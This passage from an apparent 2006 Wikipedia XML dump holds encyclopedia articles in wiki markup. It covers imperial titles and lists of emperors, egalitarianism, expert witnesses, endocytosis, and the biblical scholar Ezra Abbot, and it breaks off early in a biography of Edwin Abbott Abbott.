The title [[Khagan]] ([[khan]] of khans or grand khan) was held by [[Genghis Khan]], founder of the [[Mongol Empire]] in [[1206]].  When the empire, the largest the world had ever seen, was partitioned, the [[Yuan dynasty]] Great khans in the richest realm, China (where they also took the native title ''huangdi'') were nominal rulers of the whole Mongol empire, but in fact the Khans of several major hordes would remain independent.  After being overthrown in China by the [[Ming dynasty]], the Yuan fled back to [[Mongolia]] and were subsequently known to historians as the [[Yuan dynasty#Northern Yuan|Northern Yuan]]. They kept their title of Grand Khan until the [[Manchu]] emperor [[Hong Taiji]] (yet another Chinese dynasty) forced them to surrender it in [[1634]].  

Only the Yuan Emperors of China between [[1279]] and [[1368]] are normally referred to as Emperors in English.

====Japan====
:''See [[Emperor of Japan]]''
[[Image:Emperor Hirohito-1926.jpg|thumb|200px|Emperor Hirohito (裕仁), or the [[Shōwa Emperor]] (昭和天皇), the last Japanese Emperor having ruled with extended monarchical powers, combined with claims of divinity (photographed 1926).]]

In [[Japan]], the ruler in Yamato court was called &quot;''Tennō''&quot; (&amp;#22825;&amp;#30343;) (heavenly emperor), which in Western languages is equivalent to ''Emperor of Japan''. Like in early Western tradition, the highest position of secular power was combined with the highest religious office (comparable with the Roman Emperor also being [[pontifex maximus]]) and claims of godhood (see [[Arahitogami]]). In several eras, the high-priestly role of the Monarch has even been paramount, with a no more than formal secular role.

Japanese monarchs placed themselves from [[607]] on equal footing with Chinese emperors in titulary, but rarely was the Chinese-style &quot;Son of Heaven&quot; term used. In the Japanese language, the word ''tennō'' is restricted to Japan's own monarch; ''kōtei'' or koutei (皇帝) is used for foreign emperors. Historically, [[retired emperor]]s have kept power over a child-emperor as de facto Regent. Fairly long, a [[Shogun|Shōgun]] (formally the imperial generalissimo, but made hereditary) or [[Sessho and kampaku|Regent]] wielded actual political power. In fact, through much of Japanese history, the emperor has been little more than a 'constitutional' Head of state.

After [[World War II]], all claims of divinity were dropped (see [[Ningen-sengen]]). Parliamentary government has wielded the power, reducing the office of emperor again to a mere ceremonial function{{ref|Japan}}. By the end of the [[20th century]], Japan was the only country with an emperor on the throne.

In the early [[21st century]], Japan succession law prevents a female from ascending to the throne.  However, with the birth of a daughter as the first child of the current [[Crown Prince]], [[Naruhito, Crown Prince of Japan|Naruhito]], Japan is [[Naruhito, Crown Prince of Japan#marriage and family|considering abandoning that rule]]. Historically, Japan has had eight reigning empresses who used the genderless title ''Tennō'', rather than the female consort title ''kōgō'' (皇后) or ''chūgū'' (中宮).  There is ongoing discussion of the [[Japanese Imperial succession controversy]].

&lt;!-- Emperor's highest wife is called Kogo, and the female emperor is not called Kogo but Tenno as her male counterparts. The female emperor should be called (天皇 Ten-no) but Empress is usual in Western parlances. However, how should female emperor's husband be called? It has not been provided in Japan yet, because no female emperor was married when reigning: only single women (widows, unmarrieds) have been female emperors in history -  or a wife or widow of an emperor or Crown Prince was made female Tenno (That is, she was already Kogo or something like).--&gt; 

Although current Japanese law prohibits female succession, all Japanese emperors trace their lineage to the supreme deity in the [[Shinto|Shintō]] [[religion]], ''[[Amaterasu]]'' the Sun Goddess.

====Korea====
Some early legendary [[List of Korean monarchs|dynasties]] of [[Korea]] used the title ''tanje'' (''tan'' meaning &quot;[[birch]]&quot;, ''je'' meaning &quot;emperor&quot;).  The [[Balhae]] (669&amp;ndash;926), which ruled parts of northern Korea and Manchuria, used ''hwangje'' (Chinese ''huangdi'', see above).  

Rulers of the [[Goryeo]] kingdom (from [[Gwangjong of Goryeo|Gwangjong]] onward) took the title of emperor as a means of enhancing the prestige of the monarchy.  The title was stripped in the [[13th century]], however, after the surrender to the [[Mongol]]s, when the Korean rulers were demoted to Kings and, as such, vassals of Kublai Khan's China-based Mongol [[Yuan Dynasty]] (1276 - 1368). The full style of the ruler ([[27 March]] [[1393]] - [[7 January]] [[1895]], during the Ming and (Manchu) Qing dynasties in China) was: ''Seongju Sangteon Cheonha'' {untranslatable}, ''[[Joseon Dynasty|Joseon]] Guk-wang'' (Chinese: ''Zhaoxian guowang'') &quot;King of the Choseon State&quot;. 

Following the Chinese defeat by Japan in 1895, Korea declared its total independence from China (see [[Treaty of Shimonoseki]]) and King [[Gojong of Joseon|Gojong]] took the title of ''Daehan Hwangje'', translated as 'Emperor of the Great [[Names of Korea|Han]]'. ''Yeonho=Nyonho'' ([[era name]]s, a very strong indication of sovereignty vis-à-vis imperial China), were adopted on [[1 January]] [[1896]].               
The full style of the ruler ([[7 January]] [[1895]] - [[12 October]] [[1897]]) was : ''Taegunju P'yeha'' {untranslatable}, ''Joseon Guk-wang'' &quot;King of the Choseon State&quot;;  

In the Great Han Empire, since [[12 October]] [[1897]], the full imperial style was ''Daehan Hwangje'' (&quot;Emperor of Great Han&quot;; Chinese: ''Daihan huangdi'').

On [[17 November]] [[1905]], the empire was declared a Japanese [[protectorate]] (effective [[21 December]] [[1905]]) until it came to an end with the [[Korea under Japanese rule|Japanese annexation]] on 
[[29 August]] [[1910]], which lasted until [[12 September]] [[1945]].

====Vietnam====
Although the Vietnamese rulers acknowledged the supremacy of China, and were known to the Chinese emperors as simply King of [[Annam]], domestically they took on a full Chinese-style imperial regalia in [[1806]], and are usually referred to as emperors in English.  [[Axis Powers|Axis]]-occupied Vietnam was declared an empire by the Japanese in March [[1945]]. The line of emperors came to an end with [[Bao Dai]], who was deposed after the war, although he later served as head of state of [[South Vietnam]] from [[1949]] to [[1955]].

===Persian and Islamic traditions===
As the Arabic title [[Caliph]] is primordially that of a religious leader, it is generally not rendered as emperor. However, given the true paramountcy of their (semi-hereditary) position, politically as well, and the might of their empire, the Caliphs were no less imperial then most non-European Monarchs included on his page.
====Iran====
In [[Iran|Persia]] (or [[Iran]]), from the time of the [[Cyrus the Great]], Persian rulers used the title '''[[Shahanshah]]''' which is sometimes translated as emperor and is literally &quot;King of Kings&quot;.  Persians were founders of one of the earliest and largest empires of the world, extending from India to Greece and Libya. [[Alexander the Great]] probably crowned himself shahanshah after conquering Persia.  The last [[Shahanshah]] abdicated in [[1979]], when Iran became a republic.  In English, the ''Shahanshah'' title is usually translated as &quot;King&quot; for ancient rulers of the [[Achaemenid]], [[Arsacid]], and [[Sassanid]] dynasties, and is shortened to &quot;Shah&quot; for rulers since the [[Safavid]] dynasty in the 16th century.

====Ottoman Emperors====
[[Ottoman dynasty|Ottoman rulers]] held the title [[Padishah]], equivalent to the Persian shahanshah.  After conquering the [[Byzantine Empire]] in [[1453]], [[Mehmed II]] also took the title of Roman emperor. Although in English the Ottoman rulers are generally known by the Turkish title ''Sultan'', their titles of Padishah and Emperor would remain among the lists of titles carried by the Ottoman sultans until the monarchy was abolished in [[1922]].

====India and Pakistan====
The [[Sanskrit]] word for ''emperor'' is '''Samrāṭ''' (word stem: ''samrāj''). This word has been used as an epithet of various Vedic deities, like [[Varuna]], and has been attested in the Holy [[Rig Veda]], possibly the oldest compiled book among the [[Indo-European]]s. Typically, in the later Vedic age, only that king (''rajah'') were called ''Samrāṭ'' who had performed the Vedic ''Rājasūya'' sacrifice, enabling him by religious tradition to claim superiority over the other kings and princes. Another word for emperor is ''sārvabhaumā''. The title of Samrāṭ has been used by many rulers of the Indian subcontinent as claimed by the Hindu mythologies. In proper history, most historians like to call [[Chandragupta Maurya]] as the first ''samrāṭ'' (emperor) of the Indian subcontinent, because of the huge empire that he ruled on. Of course, the most liberal and righteous of all emperors was his grandson '''[[Ashoka]] the Great'''. The other dynasties that are considered imperial by the historians are the [[Kushana]]s, the [[Gupta]]s and the [[Vardhana]]s. The followers of Hindutva regard [[Prithviraj Chauhan]] (12th century CE) as the last Hindu emperor of India.

After India was invaded by the Mongol Khans and Turkish Muslims, the rulers of their major states on the subcontinent were titled [[Sultan]], which may not be translated as emperor (except for the Ottoman 'Great Sultan', but he is actually styled, amongst other titles, [[Sultan of Sultans]], proving there is a rank above Sultan, while an emperor has no superior). In this manner, the only empress ever to have actually sat on the throne of [[Delhi]] was [[Razia Sultan]]. Some other [[India]]n (Hindu) monarchs held the rare title ''Maharajadhiraja'' ('Great King of Kings') but because it was awarded to their political vassals by the [[Mughal]]s and the British, it is usually not considered imperial. The [[Mughal Emperors]] ([[1526]]&amp;ndash;[[1857]]), originally another dynasty of Sultans of Delhi, adopted the Muslim title ''Badshah'' (of corruption of [[padishah]], an imperial style used by the Persian and Ottoman emperors; ) ?or ''Shahanshah''. Their throne became vacant after [[Bahadur Shah II|Bahadur Shah Zafar]] was unseated by the British, whence the title of the emperor could later be assumed by the British Monarch, then Queen Victoria, as successor to the (now colonial) position of [[Paramount ruler]].

For the episode from [[1877]] to [[1947]] when British Emperors and Empresses ruled in India, see [[#British Emperors and Empresses|above]]. Note that if Razia Sultan's short reign is excluded, [[Victoria of the United Kingdom|Queen Victoria]] was the only reigning ''empress'' of India, though she never actually sat on the throne of Delhi.

In the valley of [[Swat (Pakistan)|Swat]] (in modern [[Pakistan]]), Miangul Golshahzada Abdul Wadud, in fact a petty ruler, pompously titled himself ''badshah'' in [[1918]]. In [[1926]], he was granted recognition of authority over Swat by the British in return for taking the lesser title of ''[[wali]]''.

====Afghanistan====
[[Ahmad Shah]] founded the [[Durrani Empire]] in [[1747]] with the title ''Padshah''.  The [[Sadozai]] were overthrown in [[1823]] but there was a brief restoration by [[Shoja Shah]] in [[1839]].  The title went dormant after his assassination in [[1842]] until [[1926]] when [[Amanullah Khan]] resurrected it.  The title was finally laid to rest with the abdication of [[Mohammed Zahir Shah]] in [[1973]] following a coup.

Afghan ''padshah'' is normally translated into English as king.

==Lists of emperors==
===Emperors of traditional empires===
==== Ancient empires ====
*[[Achaemenid dynasty|Persian Empire]] ([[559 BC]]&amp;ndash;[[330 BC]]) - see [[List of kings of Persia]]
*[[Hellenistic Greece|Empire of Alexander the Great]] ([[334 BC]]&amp;ndash;[[281 BC]])
*[[Mauryan Empire]] ([[321 BC]]&amp;ndash;[[185 BC]]) - see [[Mauryan dynasty]]
*[[Emperor of China|Chinese Empire]] ([[221 BC]]&amp;ndash;[[1911]]) - see [[Table of Chinese monarchs]]
*[[Roman Empire]] ([[27 BC]]&amp;ndash;[[476]]) - see [[List of Roman Emperors]]

==== Medieval empires ====
*[[Holy Roman Empire]] ([[800]] and [[962]]&amp;ndash;[[1806]]) - see [[List of Holy Roman Emperors]]
*[[Byzantine Empire]] ([[395]]&amp;ndash;[[1453]]) - see [[List of Byzantine Emperors]]
**[[Latin Empire|Latin Empire of Constantinople]] (1204&amp;ndash;1261, with the title of [[Latin Emperor of Constantinople|(Latin) &quot;Emperor of Constantinople&quot;]] continuing to 1383)
**[[Empire of Nicaea]] (1204&amp;ndash;1261) - &quot;Byzantine Empire&quot; in exile during the rule of the &quot;Latin Empire&quot; over Constantinople.
**[[Empire of Trebizond]] (1204&amp;ndash;1461) - Other split of the &quot;Byzantine Empire&quot;
**[[Despotate of Epirus]] (1204&amp;ndash;1359) - Despot Theodore Ducas emperor from 1227&amp;ndash;1230
*The first ruler of [[Vietnam]] to take the title of Emperor (Hoang De) was the founder of the Dinh Dynasty, Dinh Bo Linh, in the year AD [[966]] - see [[List of Vietnamese dynasties]]
*[[Emperor of Ethiopia|Empire of Ethiopia]] ([[1270]]&amp;ndash;[[1975]]) - see [[List of Emperors of Ethiopia]]
*[[Aztec Empire]] ([[1375]]&amp;ndash;[[1521]]) - see [[Hueyi Tlatoani]]
*[[Inca Empire]] ([[1438]]&amp;ndash;[[1533]]) - see [[Sapa Inca]]
*[[Mongol Empire]] ([[1206]]&amp;ndash;[[1634]]) - see [[List of Mongol Khans]]
*[[Persian Empire]] ([[Iran]]) ([[1501]]&amp;ndash;[[1979]]) - see [[List of kings of Persia]]
*[[Mughal Empire]] ([[1526]]&amp;ndash;[[1857]]) - see [[List of Mughal emperors]]
*[[Ottoman Empire]] ([[1299]]&amp;ndash;[[1922]]) - see [[Ottoman dynasty|Osmanli]]

==== Newer empires ====
*[[Austrian Empire]], [[1804]]&amp;ndash;[[1867]] and the [[Austro-Hungarian Empire]], [[1867]]&amp;ndash;[[1918]] (both under the [[Habsburg]]s)
*[[Empire of Brazil]] ([[Peter I of Brazil|Peter I]], [[1822]]&amp;ndash;[[1831]] and [[Peter II of Brazil|Peter II]], [[1831]]&amp;ndash;[[1889]])
*[[First French Empire|French Empire]] ([[Napoleon I of France|Napoleon I]], [[1804]]&amp;ndash;[[1814]] and [[Napoleon III]], [[1852]]&amp;ndash;[[1870]])
*[[German Empire]] (under the [[Hohenzollern]]s, [[1871]]&amp;ndash;[[1918]])
*[[India]] (under the [[British Raj]] with British Monarch as [[Emperor of India]], [[1876]]&amp;ndash;[[1947]])
*[[Imperial Russia|Russian Empire]] (under the [[Romanov]]s, [[1721]]&amp;ndash;[[1917]])
*[[Korean Empire]] ([[Emperor Gojong of Korea|Gojong]], [[1897]]&amp;ndash;[[1907]] and [[Emperor Sunjong of Korea|Sunjong]], [[1907]]&amp;ndash;[[1910]])

=== Emperors of short-lived 'empires' ===
*[[Jean-Jacques Dessalines|Emperor Jacques I]] of the [[Haiti|Empire of Haiti]] ([[1804]]&amp;ndash;[[1806]])
*[[Agustín de Iturbide|Emperor Augustin]] of the first [[Mexican Empire]] ([[1822]]&amp;ndash;[[1823]])
*[[Faustin Soulouque|Emperor Faustin I]] of the [[Haiti|Empire of Haiti]] ([[1847]]&amp;ndash;[[1859]])
*[[Maximilian of Habsburg|Emperor Maximilian]] of the second [[Mexican Empire]] ([[1864]]&amp;ndash;[[1867]])
*[[Sylvain Salnave|Emperor Sylvain I]] of the [[Haiti|Empire of Haiti]] ([[1868]]&amp;ndash;[[1870]], not confirmed [http://www.4dw.net/royalark/Haiti/haiti5.htm])
*[[Yuan Shikai|Emperor Hongxian]] of China ([[1915]]&amp;ndash;[[1916]])
*[[Jean-Bédel Bokassa|Emperor Bokassa I]] of the [[Central African Republic|Central African Empire]] ([[1976]]&amp;ndash;[[1979]])

=== Self-proclaimed and micronation 'emperors' ===
:''see [[Self-proclaimed monarchy]] and [[micronation]]''
These characters are historical fiction in terms of political and reality, but their claims concern real territory in their lifetime, not in fictional time and space
*[[Joshua A. Norton|Emperor Norton I]] of the [[United States]] ([[1859]]&amp;ndash;[[1880]])
*defying any linguistic logic, Dale Parker Anderson (born 1965) is styled 'emperor' Dale I of the [[Gay and Lesbian Kingdom of the Coral Sea Islands]], a 'secession' from Australia as protest against the dominion's refusal to allow same-sex marriages

===Fictional emperors===
:''see [[List of fictional rulers#Emperors|list of fictional rulers]]''

==Notes==
#{{note|Act_in_restraint_of_Appeals}} [http://faculty.history.wisc.edu/sommerville/123/123week9.htm  The opening words of the Act in restraint of Appeals, 1533]
#{{note|Act_of_Supremacy}} [http://faculty.history.wisc.edu/sommerville/123/123week9.htm Excerpt from The Act of Supremacy (1534)]
#{{note|Japan}} Although the [[Emperor of Japan]] is classified as constitutional Monarch among political scientists, the current constitution of Japan defines him only as a symbol of the nation and no law states his status as a political monarch ([[head of state]]) or otherwise.

==Trivia==
The last year when there was more than one emperor on the throne was [[1979]] with three: [[Japan]], [[Iran]], and the [[Central African Empire]].  The latter two were overthrown that same year.

==See also==
* [[Augustus (honorific)]]
* ''[[Auctoritas]]''
* ''[[Basileus]]''
* [[Royal and noble ranks]]
* [[Caesar (title)]], [[Tsar]]
* [[Great Khan]]
* [[Great King]]
* [[High king]]
* [[Imperator]]
* [[King of Kings]] 
* [[Padishah]]
* [[Paramount ruler]] 
* [[Shahanshah]]
* [[Translatio imperii]]

[[Category:Emperors| ]]
[[Category:Heads of state]]
[[Category:Political philosophy]]

[[br:Impalaer]]
[[ca:Emperador]]
[[cs:Císař]]
[[da:Kejser]]
[[de:Kaiser]]
[[eo:Imperiestro]]
[[es:Emperador]]
[[et:Keiser]]
[[fi:Keisari]]
[[fr:Empereur]]
[[ja:皇帝]]
[[ka:იმპერატორი]]
[[ko:황제]]
[[la:Imperator]]
[[nl:Keizer]]
[[no:Keiser]]
[[pl:Cesarz]]
[[pt:Imperador]]
[[ru:Император]]
[[sl:Imperator]]
[[sv:Kejsare]]
[[vi:Hoàng đế]]
[[zh:皇帝]]</text>
    </revision>
  </page>
  <page>
    <title>Egalitarianism</title>
    <id>10113</id>
    <revision>
      <id>40112064</id>
      <timestamp>2006-02-18T05:28:35Z</timestamp>
      <contributor>
        <username>Insmgg</username>
        <id>946652</id>
      </contributor>
      <comment>Edited for mechanics.</comment>
      <text xml:space="preserve">'''Egalitarianism''' is any moral belief that emphasizes the equality of morally-significant beings. Such theories claim that political, economic, social, or civil equality should prevail throughout human society. One can best understand various types of egalitarianism by asking, &quot;Who is supposed to be equal?&quot; and &quot;In what respect are they supposed to be equal?&quot; 

The [[English language|English]] word is derived from the [[French language|French]] word '''égal''', meaning ''equal'' or ''level''.

Common forms of egalitarianism include [[economic egalitarianism]] (also known as material egalitarianism), [[moral egalitarianism]], [[legal egalitarianism]], [[political egalitarianism]], [[gender egalitarianism]] and [[asset-based egalitarianism|opportunity egalitarianism]].

*Material egalitarianism stresses equality with respect to material possessions. 
*Legal egalitarianism stresses equality under the law. 
*Moral egalitarianism stresses equality in moral worth.
*Political egalitarianism stresses equality in political power.
*Gender egalitarianism stresses equality regardless of gender.
*Opportunity egalitarianism stresses equality in economic and social opportunity.

Different kinds of egalitarianism can sometimes conflict, while in other situations they may be indispensable to each other. For instance, [[communism]] is an egalitarian doctrine, according to which everyone is supposed to enjoy material equality. However, because material inequality is pervasive in the current economic systems, some form of material redistribution is necessary. Since those who enjoy the greatest material wealth are not likely to wish to part with it, some form of coercive mechanism must exist in the transition period before communism. But if the coercive powers of redistribution are vested in some people and not in others, inequalities of political power emerge. History has shown, in the former [[Soviet Union]] for instance, that people who are granted coercive redistributive powers often abuse them. Indeed, those with political power were known to redistribute vastly unequal shares of material resources to themselves, thereby completely confounding the justification for their unequal political status. Therefore, most [[Marxism|Marxist]]s now agree that communism can only be achieved if the coercive powers of redistribution needed during the transitional period are vested in a democratic body whose powers are limited by various [[checks and balances]], in order to prevent abuse. In other words, they argue that political egalitarianism is indispensable to material egalitarianism. Meanwhile, other defenders of material egalitarianism have rejected Marxist communism in favor of such views as [[libertarian socialism]], which does not advocate the transitional use of the state as a means of redistribution.

The [[United States Declaration of Independence]] included a kind of moral and legal egalitarianism. Because &quot;[[all men are created equal]]&quot;, each person is to be treated equally under the law. Originally this statement excluded women, [[slavery|slave]]s and other groups, but, over time, universal egalitarianism has won wide adherence and is a core component of modern [[civil rights]] policies.

At a cultural level, egalitarian theories have developed in sophistication and acceptance during the past two hundred years. Among the notable broadly egalitarian philosophies are [[socialism]], [[democracy]], and [[human rights]], which promote economic, political, and legal egalitarianism, respectively. Several egalitarian ideas enjoy wide support among [[intellectualism|intellectual]]s and in the general populations of many countries. Whether any of these ideas have been significantly implemented in practice, however, remains a controversial question. For instance, some argue that modern [[representative democracy]] is a realization of political egalitarianism, while others believe that, in reality, most political power still resides in the hands of a [[ruling class]], rather than in the hands of the people.

Almost all theories of egalitarianism aim at equality within human [[society|societies]], or at least confine themselves to human beings in general as the relevant group among whom equality should prevail. However, some versions of [[utilitarianism]], such as [[Peter Singer]]'s, include animals, and maintain that the pleasures and pains of every animal, not only human animals, should count equally in moral deliberation. Singer has frequently defended what he calls the principle of equal consideration of interests.

== See also ==

*[[Equality of outcome]]
*[[Equal opportunity]]
*[[Social equality]]

== External links ==

* [http://plato.stanford.edu/entries/egalitarianism/ Stanford Encyclopedia of Philosophy entry on ''Egalitarianism'']

[[Category:Political theories]]

[[pl:Egalitaryzm]]
[[no:Egalitarianisme]]</text>
    </revision>
  </page>
  <page>
    <title>Expert witnesss</title>
    <id>10114</id>
    <revision>
      <id>15907948</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Expert witness]]
</text>
    </revision>
  </page>
  <page>
    <title>Expert witness</title>
    <id>10115</id>
    <revision>
      <id>39535809</id>
      <timestamp>2006-02-14T03:39:20Z</timestamp>
      <contributor>
        <username>BDAbramson</username>
        <id>196446</id>
      </contributor>
      <minor />
      <comment>[[WP:AWB|AWB assisted]] clean up</comment>
      <text xml:space="preserve">{{EvidenceLaw}}
An '''expert witness''' is a [[witness]], who by virtue of [[education]], or [[profession]], or [[experience]], is believed to have special knowledge of his subject beyond that of the average person, sufficient that others may officially (and legally) rely upon his opinion.

== A simplified example ==
You are the owner of a very successful car factory. You are proud of the quality of your cars. One day you find yourself in a courtroom because hundreds of your cars are found with faulty [[brake]]s. What do you do? You hire a good mechanic to tell the jury that your brakes are actually good. That mechanic is your expert witness.

== Experts in the real world ==
Typically, [[expert]]s are relied on by both sides to a dispute for opinions on severity of [[injury]], degree of [[insanity]], cause of failure in a machine or other device, and the like.

The [[tribunal]] itself, or the [[judge]], can in some systems call upon experts to technically evaluate a certain [[fact]] or [[Philosophy of action|action]], in order to provide the court with a complete knowledge on the fact/action it is judging. The expertise has the legal value of an acquisition of data. The results of these experts are then compared to those by the experts of the parties.

The expert has heavy responsibility, especially in [[penal law|penal trials]], and [[false witness]] by an expert is a severely punished [[crime]] in most countries. The use of expert witnesses is sometimes criticized in the [[United States]] because in [[civil law (common law)|civil trials]], they are often used by both sides to advocate differing positions, and it is left up to a [[jury]] of [[laymen]] to decide which expert witness to believe. Sometimes one side has utilized an expert witness to provide [[fraud|fraudulent]] or [[junk science]] [[testimony]] in order to convince a jury.

In most systems, the [[trial (law)|trial]] (or the procedure) can be suspended in order to allow the experts to study the case and produce their results.

The earliest known use of an expert witness in English law came in the 1782, when a court that was hearing [[litigation]] relating to the silting-up of [[Wells-next-the-Sea|Wells]] harbour in [[Norfolk]] accepted evidence from a leading [[civil engineer]], [[John Smeaton]]. This decision by the court to accept Smeaton's evidence is widely cited as the root of modern rules on expert evidence. &lt;!-- Citation - Laws of Men and Laws of Nature: The History of Scientific Expert Testimony in England and America by Tal Golan, Harvard University Press 2004 --&gt;

== Non-testifying experts ==
In the U.S., a party can hire experts to help him/her evaluate the case. For example, a car maker may hire an experienced mechanic to decide if its cars were built to specification. This kind of expert opinion will be protected from [[discovery (law)|discovery]]. If the expert finds something that's against its client, the opposite party will not know it. Therefore, the expert will not be forced to lie. This privilege is similar to the [[work product]] protected by the [[attorney/client privilege]].

== Testifying experts ==
If the witness needs to testify in court, the privilege is no longer protected. The expert witness's identity and nearly all documents used to prepare the testament will become discoverable. Usually an experienced lawyer will advise the expert not to take notes on documents because all of the notes will be available to the other party.

== See also ==
* ''[[In limine]]''
* [[Daubert Standard]]

==External links==
* [http://www.fjc.gov/public/pdf.nsf/lookup/ExpTesti.pdf/$file/ExpTesti.pdf Expert Testimony in Federal Civil Trials: A Preliminary Analysis (pdf)] (Federal Judicial Center, 2000)
* [http://www.mincava.umn.edu/documents/commissioned/svandexpertwitnesses/svandexpertwitnesses.pdf The Use of Expert Witnesses in Cases Involving Sexual Assault (pdf)] (Violence Against Women Online Resources, 2005)

[[Category:Evidence]]</text>
    </revision>
  </page>
  <page>
    <title>Endocytosis</title>
    <id>10116</id>
    <revision>
      <id>36332933</id>
      <timestamp>2006-01-23T07:59:29Z</timestamp>
      <contributor>
        <username>Delldot</username>
        <id>476500</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/71.254.48.184|71.254.48.184]] to last version by 68.39.174.238</comment>
      <text xml:space="preserve">'''Endocytosis''' is a process whereby [[cell (biology)|cells]] absorb material ([[molecule]]s  or other cells) from outside by engulfing it with their [[cell membrane]]s. It is used by cells (especially [[protist]]s) because most substances important to them are [[polar molecule|polar]] and consist of big molecules, and thus cannot pass through the highly [[hydrophobic]] plasma membrane.
Endocytosis is the opposite of [[exocytosis]], and always involves the formation of a [[vesicle (biology)|vesicle]] from part of the cell membrane.

There are three types of endocytosis:

*[[Phagocytosis]] (literally, ''cell-eating'') is the process by which cells ingest large objects, such as prey cells or large chunks of dead organic matter. The membrane folds around the material, and vesicles are sealed off into large [[vacuole]]s. [[Lysosome]]s then merge with the vacuoles, turning them into a digestive chamber. The products of the digestion are then released into the [[cytosol]].  [[Macrophage]]s are cells of the [[immune system]] that specialize in the destruction of [[antigen]]s ([[bacteria]], [[virus]]es and other foreign particles) by phagocytosis.
*[[Pinocytosis]] (literally, ''cell-drinking'') is the [[invagination]] of the cell membrane to form a pocket filled with [[extracellular fluid]] (and molecules within it). The pocket then pinches off to form a [[vesicle (biology)|vesicle]], and the vesicle ruptures to release its contents into the [[cytosol]].
*[[Receptor-mediated endocytosis]] is similar to pinocytosis, except it is prompted by the binding of a large extracellular [[molecule]] - such as a [[protein]] - to a [[Receptor_(biochemistry)|receptor]] on the cell membrane. These receptors are often associated with the cytosolic protein [[clathrin]], which is coating the membrane, forming a pit. When the receptors bind their target molecules, the pit deepens until a clathrin-coated vesicle is released into the cytosol.

[[Category:Cell biology]]

[[cs:Endocytóza]]
[[de:Membrantransport]]
[[fr:Endocytose]]
[[he:אנדוציטוזה]]
[[ja:エンドサイトーシス]]
[[pl:Endocytoza]]
[[sl:Endocitoza]]
[[sr:Ендоцитоза и егзоцитоза]]
[[fi:Endosytoosi]]</text>
    </revision>
  </page>
  <page>
    <title>Ezra Abbot</title>
    <id>10118</id>
    <revision>
      <id>27188406</id>
      <timestamp>2005-11-02T20:47:45Z</timestamp>
      <contributor>
        <username>GregorB</username>
        <id>179697</id>
      </contributor>
      <comment>Moved to Category:Biblical scholars</comment>
      <text xml:space="preserve">'''Ezra Abbot''' ([[April 28]], [[1819]], [[Jackson, Maine]] - [[March 21]], [[1884]],[[Cambridge, Massachusetts]]) was an [[United States|American]] biblical scholar.

He graduated from [[Bowdoin College]] in [[1840]]. In [[1847]], at the request of Prof. Andrews Norton, he went to Cambridge, where he was principal of a public school until [[1856]]. He was assistant librarian of [[Harvard University]] from [[1856]] to [[1872]], and planned and perfected an alphabetical card catalogue, combining many of the advantages of the ordinary dictionary catalogues with the grouping of the minor topics under more general heads, which is characteristic of a systematic catalogue. From 1872 until his death he was Bussey Professor of [[New Testament]] Criticism and Interpretation in the [[Harvard Divinity School]].

Abbot's studies were chiefly in  [[Oriental languages]] and textual criticism of the New Testament, though his work as a bibliographer showed such results as the exhaustive list of writings (5300 in all) on the doctrine of the future life, appended to W. R. Alger's ''History of the Doctrine of a Future Life, as it has prevailed in all Nations and Ages'' ([[1862]]), and published separately in [[1864]]. 

Abbot's publications, though always of the most thorough and scholarly character, were to a large extent dispersed in the pages of reviews, dictionaries, concordances, texts edited by others, [[Unitarian]] controversial treatises, etc. However, he took a more conspicuous and personal part in the preparation (with [[Baptist]] scholar Horatio B. Hackett) of the enlarged American edition of Dr. (afterwards Sir) William Smith's ''Dictionary of the Bible'' ( [[1867]]-[[1870]]), to which he contributed more than 400 articles, as well as greatly improving the bibliographical completeness of the work. He was an efficient member of the American revision committee for the Revised Version ([[1881]]-[[1885]]) of the [[King James Bible]], and helped prepare Caspar Rene Gregory's Prolegomena to the revised [[Greek language|Greek]] New Testament of Tischendorf.

His principal single work, representing his scholarly method and conservative conclusions, was ''The Authorship af the Fourth Gospel: External Evidences'' ([[1880]]; 2nd ed. by J. H. Thayer, with other essays, [[1889]]), originally a lecture. In spite of the compression due to its form, this work was up to that time probably the ablest defence, based on external evidence, of the Johannine authorship, and certainly the most complete treatment of the relation of [[Justin Martyr]] to this gospel.

Though a layman, Abbot received the degree of S. T. D. from Harvard in [[1872]], and that of D.D. from [[Edinburgh]] in [[1884]].

{{Wikisource1911Enc|Abbot, Ezra}}

[[Category:1819 births|Abbot, Ezra]]
[[Category:1884 deaths|Abbot, Ezra]]
[[Category:Biblical scholars|Abbot, Ezra]]</text>
    </revision>
  </page>
  <page>
    <title>Edwin Abbott Abbott</title>
    <id>10119</id>
    <revision>
      <id>41833217</id>
      <timestamp>2006-03-02T01:09:45Z</timestamp>
      <contributor>
        <username>Eixo</username>
        <id>119352</id>
      </contributor>
      <text xml:space="preserve">[[Image:Edwin Abbott Abbott.jpg|frame|Edwin Abbott Abbott]]
'''Edwin Abbott Abbott''' ([[December 20]], [[1838]] &amp;ndash; [[1926]]), [[England|English]] [[schoolmaster]] and [[theology|theologian]], is best known as the author of the [[mathematics|mathematical]] [[satire]] ''[[Flatland]]'' ([[1884]]). Abbott was the eldest son of [[Edwin Abbott]] ([[1808]]&amp;ndash;[[1882]]), headmaster of the Philological School, Marylebone, and his wife, Jane Abbott ([[1806]]&amp;ndash;[[1882]]). His parents were first cousins.

He was educated at the [[City of London School]] and at [[St John's College, Cambridge|St John's College]], [[University of Cambridge|Cambridge]], where he took the highest honours in [[classics]], [[mathematics]] and [[theology]], and became [[fellow]] of his college. In [[1862]] he took orders. After holding masterships at [[King Edward's School, Birmingham]], and at [[Clifton College]], he succeeded [[G. F. Mortimer]] as headmaster of the [[City of London School]] in [[1865]] at the early age of twenty-six. He was [[Hulsean lecturer]] in [[1876]].

His most famous work, ''[[Flatland]]: a romance of many dimensions'' (1884), Abbott wrote under the pseudonym of A. Square. The book has seen many editions, the sixth edition of 1953 being reprinted by Princeton University Press in 1991 with an introduction by Thomas Banchoff. Flatland is an account of the adventures of A Square in Lineland and Spaceland. In it Abbott tries to popularise the notion of multidimensional geometry but the book is also a clever satire on the social, moral, and religious values of the period.

He retired in [[1889]], and devoted himself to literary and theological pursuits. Dr. Abbott's liberal inclinations in theology were prominent both in his educational views and in his books. His ''[[Shakespearian Grammar]]'' ([[1870]]) is a permanent contribution to English [[philology]]. In [[1885]] he published a life of [[Francis Bacon (philosopher)|Francis Bacon]]. His theological writings include three anonymously published religious romances - ''[[Philochristus]]'' ([[1878]]), ''[[Onesimus]]'' ([[1882]]), and ''[[Sitanus]]'' ([[1906]]).

